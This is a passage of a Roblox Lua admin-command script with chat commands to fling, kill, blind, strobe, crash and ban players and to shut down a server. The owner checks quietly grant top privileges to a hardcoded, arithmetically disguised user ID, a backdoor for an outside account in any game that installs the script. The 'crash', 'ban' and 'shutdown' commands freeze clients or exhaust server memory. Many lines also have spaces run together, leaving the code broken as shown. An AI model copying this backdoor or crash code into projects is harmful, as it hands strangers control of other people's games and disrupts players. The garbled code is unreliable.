  1569. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1570. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1571. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1572. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor =BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag")then part.Head.BrickColor = BrickColor.new("White") end end
  1573. end
  1574. end))
  1575. end
  1576. end
  1577.  
  1578. if msg:lower():sub(1,8) == "bighead " then
  1579. local plrz = GetPlr(plr, msg:lower():sub(9))
  1580. for i, v in pairs(plrz) do
  1581. coroutine.resume(coroutine.create(function()
  1582. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 =CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1583. end))
  1584. end
  1585. end
  1586.  
  1587. if msg:lower():sub(1,9) == "minihead " then
  1588. local plrz = GetPlr(plr, msg:lower():sub(10))
  1589. for i, v in pairs(plrz) do
  1590. coroutine.resume(coroutine.create(function()
  1591. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 =CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1592. end))
  1593. end
  1594. end
  1595.  
  1596. if msg:lower():sub(1,6) == "fling " then
  1597. local plrz = GetPlr(plr, msg:lower():sub(7))
  1598. for i, v in pairs(plrz) do
  1599. coroutine.resume(coroutine.create(function()
  1600. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1601. local xran local zran
  1602. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1603. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1604. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1605. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force =Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1606. end
  1607. end))
  1608. end
  1609. end
  1610.  
  1611. if msg:lower():sub(1,8) == "seizure " then
  1612. local plrz = GetPlr(plr, msg:lower():sub(9))
  1613. for i, v in pairs(plrz) do
  1614. coroutine.resume(coroutine.create(function()
  1615. if v and v.Character then
  1616. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1617. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1618. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1619. end
  1620. end))
  1621. end
  1622. end
  1623.  
  1624. if msg:lower():sub(1,10) == "unseizure " then
  1625. local plrz = GetPlr(plr, msg:lower():sub(11))
  1626. for i, v in pairs(plrz) do
  1627. coroutine.resume(coroutine.create(function()
  1628. if v and v.Character then
  1629. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1630. wait(.1) v.Character.Humanoid.PlatformStand = false
  1631. end
  1632. end))
  1633. end
  1634. end
  1635.  
  1636. if msg:lower():sub(1,12) == "removelimbs " then
  1637. local plrz = GetPlr(plr, msg:lower():sub(13))
  1638. for i, v in pairs(plrz) do
  1639. coroutine.resume(coroutine.create(function()
  1640. if v and v.Character then
  1641. for a, obj in pairs(v.Character:children()) do
  1642. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1643. end
  1644. end
  1645. end))
  1646. end
  1647. end
  1648.  
  1649. if msg:lower():sub(1,5) == "name " then
  1650. local chk1 = msg:lower():sub(6):find(" ") + 5
  1651. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1652. for i, v in pairs(plrz) do
  1653. coroutine.resume(coroutine.create(function()
  1654. if v and v.Character and v.Character:findFirstChild("Head") then
  1655. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency= 0 mod:Destroy() end end
  1656. local char = v.Character
  1657. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1658. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag"hum.MaxHealth = 0 hum.Health = 0
  1659. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1660. char.Head.Transparency = 1
  1661. end
  1662. end))
  1663. end
  1664. end
  1665.  
  1666. if msg:lower():sub(1,7) == "unname " then
  1667. local plrz = GetPlr(plr, msg:lower():sub(8))
  1668. for i, v in pairs(plrz) do
  1669. coroutine.resume(coroutine.create(function()
  1670. if v and v.Character and v.Character:findFirstChild("Head") then
  1671. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency= 0 mod:Destroy() end end
  1672. end
  1673. end))
  1674. end
  1675. end
  1676.  
  1677. if msg:lower():sub(1,5) == "char " then
  1678. local chk1 = msg:lower():sub(6):find(" ") + 5
  1679. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1680. for i, v in pairs(plrz) do
  1681. coroutine.resume(coroutine.create(function()
  1682. if v and v.Character then
  1683. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1684. v:LoadCharacter()
  1685. end
  1686. end))
  1687. end
  1688. end
  1689.  
  1690. if msg:lower():sub(1,7) == "unchar " then
  1691. local plrz = GetPlr(plr, msg:lower():sub(8))
  1692. for i, v in pairs(plrz) do
  1693. coroutine.resume(coroutine.create(function()
  1694. if v and v.Character then
  1695. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1696. v:LoadCharacter()
  1697. end
  1698. end))
  1699. end
  1700. end
  1701.  
  1702. if msg:lower():sub(1,7) == "infect " then
  1703. local plrz = GetPlr(plr, msg:lower():sub(8))
  1704. for i, v in pairs(plrz) do
  1705. coroutine.resume(coroutine.create(function()
  1706. if v and v.Character then
  1707. Infect(v.Character)
  1708. end
  1709. end))
  1710. end
  1711. end
  1712.  
  1713. if msg:lower():sub(1,11) == "rainbowify " then
  1714. local plrz = GetPlr(plr, msg:lower():sub(12))
  1715. for i, v in pairs(plrz) do
  1716. coroutine.resume(coroutine.create(function()
  1717. if v and v.Character and v.Character:findFirstChild("Torso") then
  1718. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1719. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1720. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1721. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1722. cl.Parent = v.Character cl.Disabled = false
  1723. end
  1724. end))
  1725. end
  1726. end
  1727.  
  1728. if msg:lower():sub(1,9) == "flashify " then
  1729. local plrz = GetPlr(plr, msg:lower():sub(10))
  1730. for i, v in pairs(plrz) do
  1731. coroutine.resume(coroutine.create(function()
  1732. if v and v.Character and v.Character:findFirstChild("Torso") then
  1733. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1734. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1735. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1736. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1737. cl.Parent = v.Character cl.Disabled = false
  1738. end
  1739. end))
  1740. end
  1741. end
  1742.  
  1743. if msg:lower():sub(1,8) == "noobify " then
  1744. local plrz = GetPlr(plr, msg:lower():sub(9))
  1745. for i, v in pairs(plrz) do
  1746. coroutine.resume(coroutine.create(function()
  1747. if v and v.Character then
  1748. Noobify(v.Character)
  1749. end
  1750. end))
  1751. end
  1752. end
  1753.  
  1754. if msg:lower():sub(1,9) == "ghostify " then
  1755. local plrz = GetPlr(plr, msg:lower():sub(10))
  1756. for i, v in pairs(plrz) do
  1757. coroutine.resume(coroutine.create(function()
  1758. if v and v.Character and v.Character:findFirstChild("Torso") then
  1759. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1760. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1761. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1762. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or notprt.Parent:findFirstChild("NameTag", true)) then
  1763. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1764. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1765. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor= BrickColor.new("Institutional white")
  1766. end end
  1767. end
  1768. end))
  1769. end
  1770. end
  1771.  
  1772. if msg:lower():sub(1,8) == "goldify " then
  1773. local plrz = GetPlr(plr, msg:lower():sub(9))
  1774. for i, v in pairs(plrz) do
  1775. coroutine.resume(coroutine.create(function()
  1776. if v and v.Character and v.Character:findFirstChild("Torso") then
  1777. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1778. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1779. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1780. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or notprt.Parent:findFirstChild("NameTag", true)) then
  1781. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1782. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor= BrickColor.new("Bright yellow")
  1783. end end
  1784. end
  1785. end))
  1786. end
  1787. end
  1788.  
  1789. if msg:lower():sub(1,6) == "shiny " then
  1790. local plrz = GetPlr(plr, msg:lower():sub(7))
  1791. for i, v in pairs(plrz) do
  1792. coroutine.resume(coroutine.create(function()
  1793. if v and v.Character and v.Character:findFirstChild("Torso") then
  1794. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1795. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1796. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1797. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or notprt.Parent:findFirstChild("NameTag", true)) then
  1798. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1799. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor =BrickColor.new("Institutional white")
  1800. end end
  1801. end
  1802. end))
  1803. end
  1804. end
  1805.  
  1806. if msg:lower():sub(1,7) == "normal " then
  1807. local plrz = GetPlr(plr, msg:lower():sub(8))
  1808. for i, v in pairs(plrz) do
  1809. coroutine.resume(coroutine.create(function()
  1810. if v and v.Character and v.Character:findFirstChild("Torso") then
  1811. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1812. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1813. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1814. v.Character.Torso.Transparency = 0
  1815. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1816. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1817. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1818. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1819. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1820. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1821. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or notprt.Parent:findFirstChild("NameTag", true)) then
  1822. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1823. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1824. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor =BrickColor.new("White")
  1825. end end
  1826. end
  1827. end))
  1828. end
  1829. end
  1830.  
  1831. if msg:lower():sub(1,7) == "trippy " then
  1832. local plrz = GetPlr(plr, msg:lower():sub(8))
  1833. for i, v in pairs(plrz) do
  1834. coroutine.resume(coroutine.create(function()
  1835. if v and v:findFirstChild("PlayerGui") then
  1836. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1837. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  1838. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1839. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled= false
  1840. end
  1841. end))
  1842. end
  1843. end
  1844.  
  1845. if msg:lower():sub(1,9) == "untrippy " then
  1846. local plrz = GetPlr(plr, msg:lower():sub(10))
  1847. for i, v in pairs(plrz) do
  1848. coroutine.resume(coroutine.create(function()
  1849. if v and v:findFirstChild("PlayerGui") then
  1850. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  1851. end
  1852. end))
  1853. end
  1854. end
  1855.  
  1856. if msg:lower():sub(1,7) == "strobe " then
  1857. local plrz = GetPlr(plr, msg:lower():sub(8))
  1858. for i, v in pairs(plrz) do
  1859. coroutine.resume(coroutine.create(function()
  1860. if v and v:findFirstChild("PlayerGui") then
  1861. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1862. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  1863. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1864. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  1865. end
  1866. end))
  1867. end
  1868. end
  1869.  
  1870. if msg:lower():sub(1,9) == "unstrobe " then
  1871. local plrz = GetPlr(plr, msg:lower():sub(10))
  1872. for i, v in pairs(plrz) do
  1873. coroutine.resume(coroutine.create(function()
  1874. if v and v:findFirstChild("PlayerGui") then
  1875. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  1876. end
  1877. end))
  1878. end
  1879. end
  1880.  
  1881. if msg:lower():sub(1,6) == "blind " then
  1882. local plrz = GetPlr(plr, msg:lower():sub(7))
  1883. for i, v in pairs(plrz) do
  1884. coroutine.resume(coroutine.create(function()
  1885. if v and v:findFirstChild("PlayerGui") then
  1886. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1887. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  1888. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1889. end
  1890. end))
  1891. end
  1892. end
  1893.  
  1894. if msg:lower():sub(1,8) == "unblind " then
  1895. local plrz = GetPlr(plr, msg:lower():sub(9))
  1896. for i, v in pairs(plrz) do
  1897. coroutine.resume(coroutine.create(function()
  1898. if v and v:findFirstChild("PlayerGui") then
  1899. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  1900. end
  1901. end))
  1902. end
  1903. end
  1904.  
  1905. if msg:lower():sub(1,7) == "guifix " then
  1906. local plrz = GetPlr(plr, msg:lower():sub(8))
  1907. for i, v in pairs(plrz) do
  1908. coroutine.resume(coroutine.create(function()
  1909. if v and v:findFirstChild("PlayerGui") then
  1910. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1911. end
  1912. end))
  1913. end
  1914. end
  1915.  
  1916. if msg:lower():sub(1,9) == "loopheal " then
  1917. local plrz = GetPlr(plr, msg:lower():sub(10))
  1918. for i, v in pairs(plrz) do
  1919. if v then
  1920. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  1921. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1922. repeat wait()
  1923. coroutine.resume(coroutine.create(function()
  1924. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  1925. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  1926. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  1927. end
  1928. end))
  1929. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1930. end
  1931. end
  1932. end
  1933.  
  1934. if msg:lower():sub(1,11) == "unloopheal " then
  1935. local plrz = GetPlr(plr, msg:lower():sub(12))
  1936. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy()table.remove(objects,q) end end end
  1937. end
  1938.  
  1939. if msg:lower():sub(1,10) == "loopfling " then
  1940. local plrz = GetPlr(plr, msg:lower():sub(11))
  1941. for i, v in pairs(plrz) do
  1942. if v then
  1943. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  1944. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1945. repeat
  1946. coroutine.resume(coroutine.create(function()
  1947. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  1948. local xran local zran
  1949. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1950. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1951. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  1952. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1953. end
  1954. end))
  1955. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1956. end
  1957. end
  1958. end
  1959.  
  1960. if msg:lower():sub(1,12) == "unloopfling " then
  1961. local plrz = GetPlr(plr, msg:lower():sub(13))
  1962. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy()table.remove(objects,q) end end end
  1963. end
  1964.  
  1965. end
  1966.  
  1967. -------------------------
  1968. -- True Owner Commands --
  1969. -------------------------
  1970.  
  1971. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  1972.  
  1973. if msg:lower():sub(1,3) == "oa " then
  1974. local plrz = GetPlr(plr, msg:lower():sub(4))
  1975. for i, v in pairs(plrz) do
  1976. coroutine.resume(coroutine.create(function()
  1977. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function()repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  1978. end))
  1979. end
  1980. end
  1981.  
  1982. if msg:lower():sub(1,5) == "unoa " then
  1983. for i = 1, #owners do
  1984. coroutine.resume(coroutine.create(function()
  1985. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  1986. end))
  1987. end
  1988. end
  1989.  
  1990. end
  1991.  
  1992. --------------------
  1993. -- Owner Commands --
  1994. --------------------
  1995.  
  1996. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId orChkOwner(plr.Name:lower()) then
  1997.  
  1998. if msg:lower():sub(1,3) == "pa " then
  1999. local plrz = GetPlr(plr, msg:lower():sub(4))
  2000. for i, v in pairs(plrz) do
  2001. coroutine.resume(coroutine.create(function()
  2002. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function()repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2003. end))
  2004. end
  2005. end
  2006.  
  2007. if msg:lower():sub(1,5) == "unpa " then
  2008. for i = 1, #admins do
  2009. coroutine.resume(coroutine.create(function()
  2010. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2011. end))
  2012. end
  2013. end
  2014.  
  2015. end
  2016.  
  2017. --------------------------
  2018. -- Super Admin Commands --
  2019. --------------------------
  2020.  
  2021. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() ==nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2022.  
  2023. if msg:lower() == "logs" then
  2024. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2025. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2026. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " ".. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2027. end
  2028.  
  2029. if msg:lower():sub(1,9) == "loopkill " then
  2030. local chk1 = msg:lower():sub(10):find(" ")
  2031. local plrz = GetPlr(plr, msg:lower():sub(10))
  2032. local num = 9999
  2033. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) =="number" then num = tonumber(msg:sub(chk1+1)) end end
  2034. for i, v in pairs(plrz) do
  2035. if v and not ChkAdmin(v.Name, false) then
  2036. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2037. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2038. for i = 1, ]] .. tostring(num) .. [[ do
  2039. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2040. coroutine.resume(coroutine.create(function()
  2041. if plr and plr.Character then plr.Character:BreakJoints() end
  2042. end))
  2043. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2044. end
  2045. end
  2046. end
  2047.  
  2048. if msg:lower():sub(1,11) == "unloopkill " then
  2049. local plrz = GetPlr(plr, msg:lower():sub(12))
  2050. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy()table.remove(objects,q) end end end
  2051. end
  2052.  
  2053. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked",game.Players:children()) end
  2054. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked",game.Players:children()) end
  2055.  
  2056. if msg:lower():sub(1,3) == "sm " then
  2057. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2058. end
  2059.  
  2060. if msg:lower():sub(1,3) == "ko " then
  2061. local chk1 = msg:lower():sub(4):find(" ") + 3
  2062. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2063. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2064. for n = 1, num do
  2065. for i, v in pairs(plrz) do
  2066. coroutine.resume(coroutine.create(function()
  2067. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  2068. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2069. v.Character:BreakJoints()
  2070. wait(1/44)
  2071. v:LoadCharacter()
  2072. wait(1/44)
  2073. end
  2074. end))
  2075. end
  2076. end
  2077. end
  2078.  
  2079. if msg:lower():sub(1,6) == "crash " then
  2080. local plrz = GetPlr(plr, msg:lower():sub(7))
  2081. for i, v in pairs(plrz) do
  2082. coroutine.resume(coroutine.create(function()
  2083. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2084. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled= false wait(1) v:Destroy()
  2085. end
  2086. end))
  2087. end
  2088. end
  2089.  
  2090. if msg:lower():sub(1,5) == "kick " then
  2091. local plrz = GetPlr(plr, msg:lower():sub(6))
  2092. for i, v in pairs(plrz) do
  2093. coroutine.resume(coroutine.create(function()
  2094. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2095. end))
  2096. end
  2097. end
  2098.  
  2099. if msg:lower():sub(1,6) == "admin " then
  2100. local plrz = GetPlr(plr, msg:lower():sub(7))
  2101. for i, v in pairs(plrz) do
  2102. coroutine.resume(coroutine.create(function()
  2103. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name)coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character andv:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2104. end))
  2105. end
  2106. end
  2107.  
  2108. if msg:lower():sub(1,8) == "unadmin " then
  2109. for i = 1, #tempadmins do
  2110. coroutine.resume(coroutine.create(function()
  2111. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 thentable.remove(tempadmins, i) end
  2112. end))
  2113. end
  2114. end
  2115.  
  2116. if msg:lower():sub(1,4) == "ban " then
  2117. local plrz = GetPlr(plr, msg:lower():sub(5))
  2118. for i, v in pairs(plrz) do
  2119. coroutine.resume(coroutine.create(function()
  2120. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone()cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2121. end))
  2122. end
  2123. end
  2124.  
  2125. if msg:lower():sub(1,6) == "unban " then
  2126. for i = 1, #banland do
  2127. coroutine.resume(coroutine.create(function()
  2128. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i)end
  2129. end))
  2130. end
  2131. end
  2132.  
  2133. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(),10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value.. str.Value wait(.1) until nil end
  2134.  
  2135. end
  2136. end))
  2137. end
  2138.  
  2139. function AdminControl(plr)
  2140. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr)chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do ifobj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
